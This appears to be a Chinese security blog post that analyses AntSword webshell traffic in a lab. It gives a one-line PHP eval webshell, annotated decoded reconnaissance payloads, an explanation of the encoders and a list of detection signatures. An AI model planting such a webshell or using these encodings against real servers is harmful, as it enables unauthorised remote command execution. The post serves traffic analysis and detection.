概述
一款傻瓜式上手快的 Webshell 管理工具,和著名的中国菜刀流量传输过程相似。
著名的中国菜刀就不用分析了吧,功能相对较弱,同时被各防护设备都杀烂了,谁家好人还在用菜刀啊。
环境构建
首先创建一句话木马文件(shell.php),内容如下。
<?php eval($_POST['cmd']); ?>
将木马上传到目标系统。
然后通过蚁剑连接木马,并将蚁剑的代理设置为 127.0.0.1:8080
。
最后使用 Burpsuite 抓包即可。
不同编码器分析
default 编码器
首先点击测试连接,蚁剑返回连接成功,抓包发现返回包中有两个内容,一是木马文件(shell.php)所在的文件目录,二是目标主机基本信息。
请求包中的 cmd
就是所谓的连接密码,也就是🐜🗡的请求包是通过 POST 方式以 cmd
参数进行传输的,只不过 cmd
后的代码被 URL 编码了,我们先解码,让我看看怎么个事!解码后代码如下。
<?php
// 设置 PHP 错误处理选项,禁止显示错误
@ini_set("display_errors", "0");
// 设置 PHP 执行时间限制为无限制
@set_time_limit(0);
// 获取当前 PHP 配置中的 open_basedir 选项
$opdir = @ini_get("open_basedir");
// 定义一个加密函数
function asenc($out) {
return $out;
}
// 定义一个输出函数
function asoutput() {
// 获取输出缓冲区内容并清空缓冲区
$output = ob_get_contents();
ob_end_clean();
// 输出加密前缀
echo "c072" . "4a7f9";
// 输出经过加密函数加密后的内容
echo @asenc($output);
// 输出加密后缀
echo "a54ec" . "40fa8";
}
// 开始输出缓冲区
ob_start();
// 尝试执行以下代码块
try {
// 获取当前脚本所在目录
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果为空,则尝试使用 PATH_TRANSLATED 获取当前脚本所在目录
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 初始化返回结果字符串
$R = "{$D} ";
// 如果目录路径不是绝对路径,则尝试获取其他盘符
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) $R .= "{$L}:";
}
} else {
$R .= "/";
}
// 添加一个制表符
$R .= " ";
// 获取当前用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
// 获取系统信息,并添加到结果字符串中
$R .= php_uname();
$R .= " {$s}";
// 输出结果字符串
echo $R;
} catch (Exception $e) {
// 如果执行过程中发生异常,则输出错误信息
echo "ERROR://" . $e->getMessage();
}
// 调用输出函数并结束脚本执行
asoutput();
die();
?>
接下来🐜🗡进入虚拟终端,在命令行输入 whoami
,继续看包。
看请求包的最下面,此请求包中包含一个程序生成的参数为 ge425f804c8d1d
,我们复制其中的值去掉前两位 wo
进行 base64 解码,可以看到 whoami
在命令的中间部分。
很明显的特征就是每次请求总会以 ini_set
和 set_time_limit
开始;每次返回的响应包都是明文;然后 User-Agent:antSword/v2.1
,不过这个参数可以通过修改配置改成很正常的值。
base64 编码
将编码器和解码器均设置为 base64。
抓包并点击测试连接,发现请求包的内容进行了 base64 编码,响应包的内容也是如此。
从上图可知,与 default
方式不同的是,程序先是使用 eval 函数解码了一个参数名为 d0b774b8c53c5b
的数据,并做了 base64 编码操作。
我们可以对请求包和响应包进行解码,发现请求包解码后的代码和之前的 default
基本是一样的,只是数据输出前多了一个 base64 编码操作。响应包解码后的内容和之前一样。
继续命令行输入 whoami
命令,抓包看到请求包最下面的 base64 编码。
和前面一样去除前两位解码就可以看到 whoami
在命令的中间部分。
对返回包内容去掉最前面的数字和一部分字符以及最后面的一部分字符再 base64 解码,可以得到明文数据。
这里前后的字母或数字是因为在传输之前程序生成好的,是程序自身的一种特殊处理方式,因为它得迷惑别人,让别人看不懂它的处理方式,那不就免杀了吗哈哈,所以很多免杀都这个样,在正常内容中穿插无用的东西让你看不懂,但他自己是清楚的。
当然,🐜🗡刚出来的时候正常情况下一般人肯定是不知道这个玩法的,但由于🐜🗡出来也都这么长时间了,都被分析烂了,所以也就都知道了,包括安全设备,所以肯定也就不免杀了喽。
其他编码
由于我们现在用的是 PHP 木马,所以它的编码器所用代码文件在 AntSwordantSword-mastersourcecorephpencoder
目录下。
定位到上述目录,并查看对应文件。
chr
在第 17 行代码我们可以看到返回的数据中 chr 大小写有变化,我们通过抓测试流量也可以看到请求包确实是根据规则生成的。
chr16
请求包就是在 chr 的基础上进行了 16 进制转换。
rot13
请求包就是对原字符向前或向后移动 13 位,想解开的话反向移动就是原文。
经过 rot13 转码后看着是杂乱无章的字母,实际使用 str_rot13
函数进行转换就是原文。
转换方法是先将请求包内容进行 url 解码。
然后再做 str_rot13
转换。
转换后你就会发现和前面请求包一样的代码了。
str_rot13 在线转换网站
-
http://xiaoniutxt.com/str_rot13.html
str_rot13 自写代码转换
<?php
$a=str_rot13("P:/cucfghql/CUCGhgbevny/JJJ P:Q: Jvaqbjf AG JVA-B4G15XDW0PP 6.2 ohvyq 9200 (Jvaqbjf Freire 2012 Fgnaqneq Rqvgvba) v586 Nqzvavfgengbe");
echo $a;
?>
特征
随机的 UA 头或固定的 UA 头
-
配置连接时修改 UA 头。
-
或者到 AntSwordantSword-mastermodules
路径中的request.js
和update.js
可以直接改源码。
正常情况下总是以 POST 方式传参,并返回 shell 路径。
都存在 @ini_set("display_errors", "0");@set_time_limit(0);
。
base64 情况下存在 QGluaV9zZXQ(eval);
。
在 chr 情况下存在 cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116);
。
在 rot13 的情况下存在 @vav_frg
。
垃圾字符填充后会有很多莫名其妙的参数和数据。
相应内容中包含随机值,每次响应内容前后会有随机值(这里设置 10 个随机前缀长度,默认是 2 个)。
完事!!
后面继续分析一下另外几个 Webshell 连接工具。
关注公众号,发送消息"剑2"获取工具
END
往期精彩回顾
原文始发于微信公众号(大伯为安全):浅谈流量分析 | 蚁剑封喉
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论